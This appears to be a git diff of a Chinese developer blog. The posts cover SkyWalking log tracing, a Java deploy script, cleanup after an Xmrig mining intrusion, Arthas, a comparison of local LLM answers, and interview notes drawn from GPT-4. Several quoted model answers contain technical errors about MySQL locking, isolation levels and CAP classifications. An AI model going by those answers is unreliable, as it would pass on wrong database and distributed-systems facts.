然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句

验证

gateway日志
user日志
确实可用,完美解决

总结

  • 就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉
  • 然后在gatway模块的日志前面用MDC传了点值进到插件里面
  • 相当取巧,因为gatway也没啥日志
  • 目前看来没什么问题

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Java部署脚本&重启备份检查&配置环境Notion文章自动同步GitPage
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240124-deploy.html b/article/240124-deploy.html index dc5bdd3b2..a679bc9fe 100644 --- a/article/240124-deploy.html +++ b/article/240124-deploy.html @@ -1,12 +1,12 @@ -Java部署脚本&重启备份检查&配置环境 | Both Savage

Java部署脚本&重启备份检查&配置环境

type
status
date
slug
summary
tags
category
icon
password

契机

微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。 +Java部署脚本&重启备份检查&配置环境 | Both Savage

Java部署脚本&重启备份检查&配置环境

type
status
date
slug
summary
tags
category
icon
password

契机

微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。 固定流程:deploy bakup xx.jar —> deploy restart xx.jar

命令编写步骤

我会把每一步编写的用途都罗列出来,不想看的可以直接滑到最后复制整个脚本

配置环境变量

这里配置基础的java运行环境变量,包括可以把JVM运行参数也放在这里,到我项目里面的JVM参数是变动的,下面会提到。并且声明脚本要用到变量。

主程序

首先定义程序入口,运行welcome欢迎函数,并且运行检查当前工作目录函数,因为这个脚本会在配置到环境变量,防止程序运行报错。

辅助函数

提示函数,检查输入参数,welcome,check_directory等,都比较简单

动态设置JVM参数

根据env环境变量和jar包的名称动态设置JVM的堆内存

根据jar包获取正在运行的pid列表

就是ps aux | grep 服务名来获取的正在运行的pid,然后通过awk来输出具体的某个pid

停止服务

使用kill -15来杀程序,如果超过60s,就直接kill -9

启动服务

这里无非就是组装最终运行的部署语句

启动完成检查

由于我的java项目一般会把info级别的日志文件放在同级目录,通过检测关键字来实现启动完成监控

备份

自动备份到指定目录,并且做到限制备份数目,自动清除等效果

环境变量配置

配置~/.bash_profile

配置自动补全

效果

备份

notion image

重启

notion image
 
 

最终部署脚本

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Xmrig挖矿入侵服务器排查解决SkyWalking在gateway中logback链路丢失
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240319-xmrig.html b/article/240319-xmrig.html index 4f9787196..5a1d97944 100644 --- a/article/240319-xmrig.html +++ b/article/240319-xmrig.html @@ -1,11 +1,11 @@ -Xmrig挖矿入侵服务器排查 | Both Savage

Xmrig挖矿入侵服务器排查

type
status
date
slug
summary
tags
category
icon
password

契机

叮咚!阿里云提示你,你的服务器正在被攻击!

问题

notion image

排查思路

notion image
不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。
notion image
额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑
notion image
最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加
notion image
发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下

总结

  • 找被黑时间左右的所有文件一个一个排查
  • 找文件关联pid
  • 找pid关联fd,端口,ip等
  • 找相关service,排查异常servcie,定时任务全部停止
  • 持续观察cpu,网络等信息

写到最后

notion image
+Xmrig挖矿入侵服务器排查 | Both Savage

Xmrig挖矿入侵服务器排查

type
status
date
slug
summary
tags
category
icon
password

契机

叮咚!阿里云提示你,你的服务器正在被攻击!

问题

notion image

排查思路

notion image
不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。
notion image
额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑
notion image
最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加
notion image
发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下

总结

  • 找被黑时间左右的所有文件一个一个排查
  • 找文件关联pid
  • 找pid关联fd,端口,ip等
  • 找相关service,排查异常servcie,定时任务全部停止
  • 持续观察cpu,网络等信息

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Arthas简单使用备忘录Java部署脚本&重启备份检查&配置环境
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240320-arthas.html b/article/240320-arthas.html index 888db2dbc..bb4ff7b78 100644 --- a/article/240320-arthas.html +++ b/article/240320-arthas.html @@ -1,14 +1,14 @@ -Arthas简单使用备忘录 | Both Savage

Arthas简单使用备忘录

type
status
date
slug
summary
tags
category
icon
password
契机基本配置热部署常用命令watchtracejadthreadprofiler +Arthas简单使用备忘录 | Both Savage

Arthas简单使用备忘录

type
status
date
slug
summary
tags
category
icon
password

契机

Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法

基本配置

  • 直接java -jar arthas-boot.jar即可开始使用
  • idea中安装两个插件:arthas idea & ArthasHotSwap

热部署

限制:无法修改类名、方法名,无法修改类属性名称,无法新增类属性,无法新增非静态方法
 
我们修改以下代码
notion image
然后comile一下
notion image
 
如果你远程服务器不止一个应用还需要指定一下jar包,这里java path也要是远程机器的真实地址
他的原理是把你的class文件上传到oss,然后在服务器下载。如果怕代码泄漏,需要自己去oss买个bucket配置上传到自己的oss,这里不做详细说明
notion image
然后在指定class右键执行工具
notion image
去宿主机部署代码,当看到succss就是成功了
notion image
 

常用命令

notion image

watch

trace

jad

notion image

thread

profiler

notion image

总结

  • arthas热部署很好用,注意限制
  • 介绍了常见的几个cmd

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
mac体验ollama本地大模型Xmrig挖矿入侵服务器排查
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240322-angry.html b/article/240322-angry.html index 01632b5ae..7fb038175 100644 --- a/article/240322-angry.html +++ b/article/240322-angry.html @@ -1,8 +1,8 @@ -控制愤怒—邯郸未成年杀人案 | Both Savage
Please Enter the password:
 Submit
Please Enter the password:
 Submit
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240325-ollama.html b/article/240325-ollama.html index d90ea3dc9..6e6fe4c11 100644 --- a/article/240325-ollama.html +++ b/article/240325-ollama.html @@ -1,4 +1,4 @@ -mac体验ollama本地大模型 | Both Savage

mac体验ollama本地大模型

type
status
date
slug
summary
tags
category
icon
password

契机

最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便
 

基础配置

ollama

  • 命令行运行ollama -h查看命令集
  • 查看本地模型列表:ollama list
  • 下载并且运行模型:ollama run llama2:13b
notion image

chatbox

  • gpt的client端,支持多种模型,包括ollama本地运行的模型
  • 内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器
  • 支持为每一个会话指定特殊的模型
notion image

模型对比

promot&question

promot:
你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。 +mac体验ollama本地大模型 | Both Savage

mac体验ollama本地大模型

type
status
date
slug
summary
tags
category
icon
password

契机

最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便
 

基础配置

ollama

  • 命令行运行ollama -h查看命令集
  • 查看本地模型列表:ollama list
  • 下载并且运行模型:ollama run llama2:13b
notion image

chatbox

  • gpt的client端,支持多种模型,包括ollama本地运行的模型
  • 内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器
  • 支持为每一个会话指定特殊的模型
notion image

模型对比

promot&question

promot:
你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。 question:
select * from t where c=5 for update;
but c not index,tell me the process of locking and the time of release lock

openai:3.5

When you run a query like SELECT * FROM t WHERE c=5 FOR UPDATE; in MySQL on a column c that is not indexed, MySQL will perform a full table scan to find the rows that match the condition c=5. During this process, MySQL will acquire a shared lock on all the rows it reads to prevent other transactions from modifying them.
Here is the general process of locking and the time of releasing the lock:
  1. Shared (Read) Lock: MySQL will acquire a shared (read) lock on the rows that match the condition c=5. This lock allows other transactions to read the locked rows but prevents them from modifying them.
  1. Exclusive (Write) Lock: When you use FOR UPDATE in your query, MySQL will upgrade the shared lock to an exclusive (write) lock on the matched rows. This exclusive lock prevents other transactions from both reading and writing to the locked rows until the transaction is either committed or rolled back.
  1. Time of Releasing Lock: The lock acquired using FOR UPDATE will be released when the current transaction is either committed or rolled back. If the transaction is rolled back, the lock will be released immediately. If the transaction is committed, the exclusive locks will be released at the end of the transaction.
It's important to note that locking behavior can vary depending on the isolation level of the transaction and the specific MySQL configuration settings. Additionally, using FOR UPDATE without an index on the column can lead to performance issues, especially on large tables, as it may result in full table scans and increased locking contention. Consider adding an index on column c if this query is frequently used for better performance.

mistral:7b

Based on your SQL query SELECT * FROM t WHERE c = 5 FOR UPDATE, it seems you are working with MySQL or a similar database management system. In this context, let's discuss the process of obtaining and releasing locks in relation to this query.
When you execute the query SELECT * FROM t WHERE c = 5 FOR UPDATE, the database engine acquires a lock on the record(s) with column 'c' equal to 5, preventing other transactions from reading or updating those records until the current transaction is committed or rolled back. This process ensures data consistency and concurrency control.
The actual time of obtaining a lock depends on various factors such as network latency, server workload, and database configuration. Generally, it's considered to be an instantaneous operation once the query execution reaches that point. However, keep in mind that the actual query processing time and network transfer time might add significant delay.
As for releasing the lock, it happens automatically when the current transaction is committed or rolled back. Once the transaction has been finalized, the database engine releases the locks on the corresponding records, making them available to other transactions again.
Here's a simplified overview of the process:
  1. The query SELECT * FROM t WHERE c = 5 FOR UPDATE is executed.
  1. The database engine locates the record(s) with 'c' equal to 5 and acquires a lock on them.
  1. Once the query has finished processing those records, the transaction is committed or rolled back.
  1. If the transaction is committed, the locks are released and made available for other transactions.
  1. If the transaction is rolled back, the locks are also released but any changes made during the transaction are discarded.

llama2:4b

As a high-level software engineer, I'd be happy to help you with your question.
The query SELECT * FROM t WHERE c = 5 FOR UPDATE is a common mechanism for acquiring a row-level lock on a table t for the specified condition c = 5. When this query is executed, it will acquire an exclusive lock on the rows that match the condition, preventing any other concurrent updates or reads from accessing those rows until the lock is released.
The process of locking in this case involves the following steps:
  1. The query is executed and a lock is acquired on the relevant rows.
  1. The lock is held by the thread that executed the query, preventing any other threads from acquiring the same lock until it is released.
  1. The lock is released when the thread that executed the query completes its work and no longer needs the lock.
  1. Other threads can then acquire the lock and update or read the rows that were previously locked.
The time of release lock depends on various factors, including the operating system, hardware, and database configuration. In general, the lock is released when the thread that executed the query completes its work and no longer needs the lock. This can happen immediately after the query is executed, or it may take some time depending on the complexity of the task and the availability of resources.
In MySQL, the default isolation level is READ UNCOMMITTED, which means that locks are acquired using the FOR UPDATE clause. This allows other threads to read the rows while the first thread is updating them, but it does not guarantee that the second thread will see the updates made by the first thread before committing its changes.
If you want to acquire a lock on a specific row or set of rows without using the FOR UPDATE clause, you can use the LOCK TABLE statement in MySQL. This statement allows you to acquire an exclusive lock on a table for a specified period of time, preventing any other threads from accessing the table during that time.
Here is an example of how to use LOCK TABLE to acquire a lock on a specific row:
This will acquire an exclusive lock on the row with id = 5 in the table t, preventing any other threads from updating or reading that row until the lock is released.
Note that the LOCK TABLE statement can be used to acquire locks on multiple rows or tables, and it can also be used to acquire locks for longer periods of time than the default isolation level. However, it is important to use this statement judiciously and only when necessary to avoid contention and deadlocks.

starcoder2:15b

thank youusername_1: You are looking for a tool called VisualVM. It is part of the JDK and it allows you to connect to running java applications and view their memory consumption, threads etc. @@ -8,11 +8,11 @@ Upvotes: 0

llama2:13b

Ah, I see! You're trying to understand the locking mechanism in MySQL when using the FOR UPDATE clause. 🔒
When you execute a query like SELECT * FROM t WHERE c = 5 FOR UPDATE, MySQL acquires a lock on the rows that match the condition c = 5. This lock is called an "X-lock" or "exclusive lock," which means that no other session can modify those rows until the current session releases the lock. 🔒
The locking mechanism in MySQL is based on the InnoDB storage engine, which uses a technique called "pessimistic locking." This means that when a session wants to acquire a lock on a row, it first checks whether the row is already locked by another session. If the row is not locked, the session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock. 🔒
Now, to answer your questions:
  1. The process of locking: When a session executes a query with the FOR UPDATE clause, MySQL first checks whether the rows that match the condition are already locked by another session. If the rows are not locked, the current session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock.
  1. The time of release lock: When a session releases the lock on a row or set of rows, the lock is immediately released, and other sessions can then acquire the lock again. There is no specific "time of release" for locks in MySQL; instead, the lock is released as soon as the current session commits or rolls back the transaction. 🔒
I hope this helps clarify the locking mechanism in MySQL! Let me know if you have any other questions or concerns. 😊

总结

  • llama2效果不错,starcoder2不知所云
  • m1pro+32g环境下,4b模型在本地运行速度还可以,15b运行起来就特别吃力

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Java程序CPU异常监控bash脚本Arthas简单使用备忘录
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240405-LM-01.html b/article/240405-LM-01.html index a81a25f98..9b5780743 100644 --- a/article/240405-LM-01.html +++ b/article/240405-LM-01.html @@ -1,11 +1,11 @@ -万里长征-01-贝壳 | Both Savage

万里长征-01-贝壳

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4模型

问题

1.LeetCode199 二叉树右视图

2.Dubbo跟SpringCloud区别

GPT问答

Dubbo跟SpringCloud区别
Dubbo和SpringCloud都是服务治理框架,它们都提供了服务注册、服务发现、负载均衡、熔断、降级等功能。但是它们的设计理念、使用场景、技术栈等方面有很大的不同。
  1. 设计理念方面的不同:
      • Dubbo:Dubbo是阿里巴巴开源的一款高性能、轻量级的Java RPC框架,它的设计更倾向于提供一种通用的服务调用方式。Dubbo主张面向接口编程,服务提供者和服务消费者通过共享的接口进行通信,解耦了服务提供者和服务消费者。
      • SpringCloud:SpringCloud是一套微服务解决方案,它是基于SpringBoot提供的一系列框架,包括服务注册与发现、配置中心、消息总线、负载均衡、熔断器、数据监控等,可以快速地构建分布式系统。SpringCloud提倡的是面向RESTful服务的编程,每个微服务都是一个独立的RESTful服务,通过HTTP/HTTPS协议进行通信。
  1. 技术栈方面的不同:
      • Dubbo:Dubbo使用的是Zookeeper作为服务注册中心,使用Dubbo协议进行通信,使用Hessian进行序列化
      • SpringCloud:SpringCloud使用的是Eureka或Consul作为服务注册中心,使用HTTP/HTTPS协议进行通信,使用Jackson进行序列化。
  1. 社区活跃度方面的不同:
      • Dubbo:Dubbo的开发和维护主要由阿里巴巴的团队负责,社区活跃度相对较低。
      • SpringCloud:SpringCloud是由Pivotal公司开发和维护的,社区活跃度非常高。
  1. 使用场景方面的不同:
      • Dubbo:Dubbo更适合在一个大型的、统一的系统中使用,比如一个大型的电商系统。
      • SpringCloud:SpringCloud更适合在微服务架构中使用,可以快速地构建和维护多个小型的、独立的服务。
总结来说,Dubbo和SpringCloud各有优缺点,选择哪一个取决于项目的具体需求和场景。

 
dubbo协议比较http协议,Hessian比较jackson
  1. Dubbo协议 vs HTTP协议
      • Dubbo协议是一种基于Netty的自定义RPC协议,它是面向服务的,二进制的,更侧重于服务间的高效调用,相比HTTP协议,Dubbo协议在网络传输效率上有优势。
      • HTTP协议是一种基于TCP的应用层协议,它是面向资源的,文本的,提供了丰富的交互方法(如GET,POST,PUT,DELETE等),用途广泛,不仅可以用于服务间的调用,还可以用于浏览器和服务器的交互。
  1. Hessian vs Jackson
      • Hessian是一种轻量级的远程调用协议,它以二进制流的形式进行数据的序列化与反序列化,数据传输效率高。
      • Jackson是一种基于Java的库,用于将Java对象转换为JSON格式的数据,或者将JSON格式的数据转换为Java对象,主要用于Web开发,通过HTTP协议传输数据。
总的来说,Dubbo协议和Hessian更适合用于服务间的高效调用,而HTTP协议和Jackson更适合用于Web开发,通过HTTP协议传输数据。选择哪一种取决于项目的具体需求和场景。

 
Zookeeper,Eureka,Consul比较。ap,cp都一样吗
Zookeeper,Eureka,和 Consul 都是服务发现和注册中心的解决方案。但是他们在设计理念、功能特性、数据一致性等方面有所不同。
  1. Zookeeper:
      • Zookeeper 是 Apache 的一个子项目,它是一个分布式的,开放源码的分布式应用程序协调服务,是 Google的 Chubby 的开源实现。它主要用来解决分布式应用中的一致性问题,可以提供基于类似于文件系统的目录节点树方式的数据存储。
      • Zookeeper 是 CP 的系统,在 CAP 定理中,Zookeeper 更加偏向于保证数据的一致性和分区容错性,可能牺牲一定的可用性。
  1. Eureka:
      • Eureka 是 Netflix 开源的服务发现框架,主要用在云计算中,用以解决微服务架构中的服务发现问题。它的客户端同时也是服务端,这种设计哲学就是服务治理的核心所在。
      • Eureka 是 AP 的系统,在 CAP 定理中,Eureka 更加偏向于保证可用性,即使在网络分区的情况下,Eureka 也不会拒绝服务注册与发现,可能会牺牲一定的数据一致性。
  1. Consul:
      • Consul 是 HashiCorp 公司推出的开源工具,提供服务发现和配置。Consul 是分布式的,高可用的,具有数据中心感知能力的服务发现和配置系统。Consul 更像是综合了 Zookeeper 和 Eureka 的功能特性,既可以作为服务发现注册中心,又提供了健康检查的功能。
      • Consul 是 CP 的系统,在 CAP 定理中,Consul 更加偏向于保证数据一致性和分区容错性,但是在极端情况下,可能会牺牲一定的可用性。
总的来说,Zookeeper,Eureka,和 Consul 在 AP(Availability,Partition tolerance)和 AC(Atomicity,Consistency)的取舍上是有差异的。在 CAP 理论中,一个分布式系统无法同时满足一致性,可用性和分区容错性,只能满足其中的两项。Zookeeper 和 Consul 更偏重于一致性,而 Eureka 则更偏重于可用性

 
为什么Zookeeper 和 Consul 更偏重于一致性,而 Eureka 则更偏重于可用性。把底层实现细节给我说下,用java代码
在 CAP 理论中,一致性 (Consistency)、可用性 (Availability) 和分区容错性 (Partition tolerance) 是无法同时满足的。这表示在面临网络分区 (Partition) 的情况下,我们需要在一致性和可用性之间做出选择。在这种情况下,ZooKeeper 和 Consul 选择了一致性,而 Eureka 则选择了可用性。
  1. ZooKeeper 和 Consul:
    1. ZooKeeper 和 Consul 使用了 Raft 或 Paxos 等强一致性算法来保证在分布式环境中数据的一致性。在这些算法中,大部分的操作都需要经过多数节点的确认,才能够被视为成功。例如,在一个五个节点的集群中,任何操作都需要至少三个节点确认。这确保了即使在网络分区的情况下,只要大多数的节点能够正常通信,系统就能够继续提供一致性的服务。
      这种做法的代价就是可用性。如果因为网络分区或者其他原因,导致无法获得大多数节点的确认,那么操作就会被阻塞,系统无法对外提供服务。
  1. Eureka:
    1. Eureka 选择了另外一种方式,即在网络分区的情况下,优先保证可用性。Eureka 的服务注册中心对于客户端注册的信息并不会立即同步到其他节点,而是通过定期的方式进行同步。这种方式在网络分区的情况下,每个节点都可以独立的对外提供服务,从而保证了高可用。
      但是,这种做法的代价就是一致性。在网络分区的情况下,各个节点之间的数据可能会出现不一致的情况。
下面是一段简单的 Java 代码,用于说明 ZooKeeper 和 Consul 的一致性操作:
在这段代码中,create, setDatagetData 操作都需要在多数节点上达成一致,才能被视为成功。
而 Eureka 的可用性操作可以用以下的 Java 代码表示:
在这段代码中,registerInstancegetInstance 操作都不需要在多数节点上达成一致,因此能够在网络分区的情况下继续提供服务。

 
dubbo适合大型的、统一的系统中使用,比如一个大型的电商系统。就是出于CAP理论的考察对吗
Dubbo 是一款高性能的 Java RPC 框架,其主要设计目标是用于构建高性能和可扩展性强的服务端同步调用或异步调用。
Dubbo 在选择 CAP 理论的时候,更倾向于选择 CP(一致性和分区容错性),优先保证数据的一致性以及系统的分区容错性。
在大型的、统一的系统中,确保数据的一致性显得尤为重要,因为数据的不一致性可能会导致一些严重的问题,如订单数据不一致、库存数据不一致等。此外,大型的系统往往需要处理大量的请求,系统的可扩展性和性能也是非常重要的,而 Dubbo 的设计正好可以满足这些需求。
但是,是否选择 Dubbo 并不能仅仅从 CAP 理论来考虑,还需要结合具体的业务需求和系统特性。例如,如果你的系统是一个服务间互相独立,对数据一致性要求不高的系统,使用基于 HTTP 的 RESTful API 可能会是一个更好的选择。因为 HTTP 协议简单、成熟,而且可以直接与现代的 Web 技术栈集成。

总结

  • dubbo的传输协议和序列化协议就对RPC方式更快。
  • http和https的协议可以完美的调用已有的服务,比如python服务,只要你有web端点我就可以调用。
  • zookeeper是CP的,以为着适合一致性要求更高的服务。
  • cloud可供选择嘛,AP和CP都有。
  • 刚开的项目架构合理,需要一致性强那么就用dubbo。老项目改造用springCloud没有那么麻烦
 

3.限流算法中的令牌跟漏斗区别

GPT问答

限流算法中的令牌跟漏斗区别
令牌桶算法(Token Bucket)和漏桶算法(Leaky Bucket)都是网络流量整形(Traffic Shaping)和速率限制(Rate Limiting)中常用的算法。它们的主要目的是控制数据传输的速率,以防止网络拥塞。
  1. 令牌桶算法:
    1. 令牌桶算法是一个存放固定容量令牌(token)的桶,按照固定速率往桶中添加令牌。令牌桶算法的关键是,桶中最多只能存放 b 个令牌,如果桶满了,新来的令牌会被丢弃;当一个 n 字节的数据包到达时,如果桶中有足够的令牌,则会消耗 n 个令牌,并且数据包会被发送到网络上;如果桶中的令牌不足,则数据包将被缓存或丢弃。
      令牌桶算法能够在限制数据的平均传输速率的同时,还允许某种程度的突发数据传输。
  1. 漏桶算法:
    1. 漏桶算法可以看作是一个漏洞大小固定的桶,流进桶里的水(代表网络流量)会以恒定的速率流出,漏水速率是固定的,即使瞬间大量水流入,流出速率也不会变大。如果桶中的水满了,多余的水会直接溢出。
      通过漏桶算法,可以平滑网络流量,限制数据流的突发性,但是它不能够应对突然的大流量。
总的来说,令牌桶算法能够更好地处理突发流量,因为当突发流量来临时,只要桶中有足够的令牌,就可以直接发送数据,不会出现丢包的情况;而漏桶算法则更加强调流量的平滑性,它会严格控制数据的发送速度,不允许有突发流量的出现。

 
令牌桶是根据字节数来限流的。如果t时有1000个令牌,A请求消耗800个token,B请求如果是199字节就会顺利通过,如果是201字节就会直接被丢弃是吧。令牌桶也可以设计成请求次数限流对吧
是的,你的理解是正确的。
令牌桶算法通常根据数据包的字节数来限流,每个数据包到达时,都会尝试从令牌桶中取出相应数量的令牌。如果桶中的令牌不足,数据包将被丢弃或缓冲。
在你的例子中,如果在 t 时刻有 1000 个令牌,A 请求消耗了 800 个令牌,那么剩余的令牌数量为 200。如果此时 B 请求需要 199 个令牌,那么 B 请求可以顺利通过;如果 B 请求需要 201 个令牌,那么 B 请求就会被丢弃,因为此时令牌桶中的令牌不足。
令牌桶算法也可以用于限制请求的次数。在这种情况下,每个请求消耗的令牌数量为固定的 1 个,而不是根据数据包的大小变化。这样,令牌桶中的令牌数量就代表了系统允许的最大请求次数。如果桶中的令牌不足,新来的请求将被丢弃或缓冲,从而实现了请求次数的限流。

 
但是这样有点粗暴,通用解决方案应该是请求ip,请求终端唯一标识,用户访问token来限流是吧。给我写出Java语言的令牌桶算法和漏斗算法
你的理解是正确的,实际应用中的限流策略通常会更加复杂,可能会根据 IP 地址、用户标识(如用户 ID、访问令牌等)或者请求的类型等信息进行限流。下面是使用 Java 语言实现的基于 Guava RateLimiter 的令牌桶限流算法示例:
对于漏桶算法,Java 中没有现成的实现,但是可以使用 Semaphore(信号量)类来模拟实现:
以上代码只是简单的示例,实际应用中的限流策略可能会更加复杂,并且需要考虑到更多的因素,如并发控制、服务降级、熔断等。

 
zuul这个框架也可以配置这两个算法,给我写出代码
在 Spring Cloud Zuul 中,我们可以使用 Spring Cloud Netflix 的 RateLimiter 实现基于令牌桶的限流。下面是一种可能的实现方式:
首先,你需要在你的 zuul 网关服务中添加 spring-cloud-starter-netflix-zuul 依赖。然后你可以为你的 Zuul 服务添加一个过滤器来实现限流。
需要注意的是,以上代码中的 RateLimiter.create(2) 创建了一个每秒产生 2 个令牌的 RateLimiter。
然而,Zuul 没有内置的漏桶算法实现,你需要自己实现漏桶算法或者使用第三方库。上述的令牌桶实现也是一个非常简单的实现,实际使用中你可能需要根据 IP 地址、用户标识等信息来创建并管理多个 RateLimiter 实例。

 
gateway这个框架也可以配置这两个算法,给我写出代码
Spring Cloud Gateway 提供了更加强大和灵活的限流功能,可以基于任何可从 exchange 对象中获取的信息进行限流,包括请求路径、来源 IP、用户 ID 等。以下是一个基于请求路径和每秒请求数量的简单限流规则配置示例:
首先,添加 Spring Cloud Gateway 的依赖:
然后,在你的 Spring Cloud Gateway 服务中配置限流规则:
然后在你的 application.yml 中配置具体的限流规则:
以上配置代表每秒最多处理 10 个请求,令牌桶的容量为 20 个令牌。
对于漏桶算法,Spring Cloud Gateway 同样没有内置的实现,你需要自己实现漏桶算法或者使用第三方库。

 

总结

  • 令牌桶算法能够更好地处理突发流量,因为当突发流量来临时,只要桶中有足够的令牌,就可以直接发送数据,不会出现丢包的情况;而漏桶算法则更加强调流量的平滑性,它会严格控制数据的发送速度,不允许有突发流量的出现。
  • 都是限流,只不过令牌桶可以面对突发流量,所以令牌桶的取值应该是压测后的接近最大值
  • 漏斗放过来的流量不应该设置为最大值
  • 学到一个新概念:根据字节限流

4.死循环上线后排查

GPT问答

java程序上线后怎么排查死循环
在Java中,如果你的程序陷入了死循环,那么你将需要进行调试来找出问题的原因。以下是一些用于识别和解决死循环问题的常见方法:
  1. 使用JVisualVM或者JStack工具:这些工具可以帮助你来查找程序中的线程,并可以看到线程的调用堆栈。这对于找出程序陷入死循环的位置很有帮助。JVisualVM是JDK自带的一个工具,它可以显示线程的CPU使用情况。如果有死循环,一般会有线程的CPU使用率很高。JStack是一个命令行工具,它可以打印出Java线程的堆栈跟踪。
  1. 在IDE中使用调试器:大多数现代IDE,如IntelliJ IDEA或Eclipse,都有强大的调试器。你可以设置断点,然后逐步执行程序,以查看哪个循环导致程序卡住。
  1. 增加日志输出:在你怀疑可能出现死循环的代码段中添加日志输出,这样可以帮助你理解代码的执行流程。如果你看到相同的日志条目被重复打印,那么这可能就是死循环所在的地方。
  1. 使用性能剖析器(Profiler):性能剖析器可以帮助你识别程序中的瓶颈和性能问题,包括死循环。例如,你可以使用 Java 的 VisualVM 工具,它包含一个性能剖析器,可以帮助分析和诊断程序性能问题。
以上方法需要结合具体情况进行使用,可能需要反复试验才能找到问题的根源。对于线上环境,由于不能直接修改代码,通常采用使用JVisualVM、JStack工具或者性能剖析器的方法来排查。

 
arthas的thread和dashboard是不是可以更好的排查死循环,并且我还可以使用arthas提供的火焰图来分析哪些线程在占用CPU
是的,你完全正确。Arthas 是阿里巴巴开源的一款 Java 诊断工具,提供了一些强大的命令来帮助开发者诊断线上的 Java 应用,包括线程分析(thread)、实时监控(dashboard)以及火焰图等。
  1. thread 命令:thread 命令可以用来查看 Java 线程的详细信息,包括线程状态、堆栈信息等。这可以帮助你找出死循环的线程。
  1. dashboard 命令:dashboard 命令可以实时查看 JVM 的运行状态,包括类加载信息、线程池信息、GC 信息等。在这里,你可以查看到 CPU 的使用情况,如果某个线程的 CPU 使用率异常的高,那么很可能就是发生了死循环。
  1. 火焰图:Arthas 还提供了生成火焰图的功能,火焰图可以直观地展示 CPU 使用情况,帮助你找出占用 CPU 过多的线程,从而定位到死循环的代码。
使用 Arthas,你可以更方便地排查线上的 Java 应用问题,包括死循环问题。

总结

  • jstack可以,但是dump下来的堆栈文件不好排查
  • 我还是常用arthas
  • 预防更重要,要写监控程序。发现cpu占用异常立马保存现场,看故障程度来判断是否会滚上线,或者立马热部署注释掉代码

5.QPS压测性能测试指标。

gpt问答

QPS压测性能测试指标主要是什么
QPS(Queries Per Second)压力测试主要关注以下性能指标:
  1. 吞吐量(Throughput):在单位时间内处理的请求数量,通常以QPS(Queries Per Second)或TPS(Transactions Per Second)来衡量。
  1. 响应时间(Response Time):从发送请求到接收到响应的时间,包括网络传输时间和服务器处理时间。通常来说,响应时间越短,用户体验越好。
  1. 并发用户数(Concurrent Users):同时发出请求的用户数。大并发用户数可能导致服务器资源耗尽,性能下降。
  1. 错误率(Error Rate):在压力测试中,请求失败的比例。这包括任何类型的错误,如HTTP错误、超时、异常等。
  1. 资源使用率(Resource Utilization):包括CPU使用率、内存使用率、磁盘I/O、网络I/O等。这些指标可以帮助找出系统的瓶颈。
  1. 可扩展性(Scalability):随着负载增加,系统能否保持性能和稳定性。
  1. 稳定性(Stability):在高负载下,系统是否能稳定运行。
以上指标都可以帮助我们评估系统的性能状况,找到可能的瓶颈,以进行优化。

 
给我写个ab压力测试
ab 是 Apache HTTP server benchmarking tool,主要用于进行 HTTP 性能测试。以下是使用 ab 压测你提供的 GET 请求 30 秒的命令:
在这个命令中:
  • n 1000 表示总共发送 1000 个请求。你可以根据实际情况调整这个数字。
  • c 10 表示并发数为 10。你可以根据实际情况调整这个数字。
  • t 30 表示压测时间为 30 秒。
  • H 用于添加 HTTP 头。
注意,由于 ab 不支持自动处理 HTTP 重定向、cookie 和其他一些 HTTP 功能,如果你的测试需要这些功能,你可能需要使用其他的工具,比如 siegewrk 或者 jmeter

 
给我一个gateway网关流量录制的方式,我想放大100倍去压测测试环境
一个流行的方法是通过抓取生产环境的实际请求,并将其用于压测。具体步骤如下:
  1. 流量捕捉:在生产环境的网关上捕获流量。你可以使用如tcpdump或Wireshark这样的工具来捕获流量。
  1. 流量解析:将捕获的流量转换为可重播的请求。你可以使用如Goreplay或者其他自定义脚本来做这个工作。
  1. 流量生成:使用一个压力测试工具,如Locust、JMeter或Gatling,来重播这些请求。你可以将请求频率调整为原来的100倍,以达到你的压测目标。
以下是一个使用GoReplay进行流量录制和重放的示例:
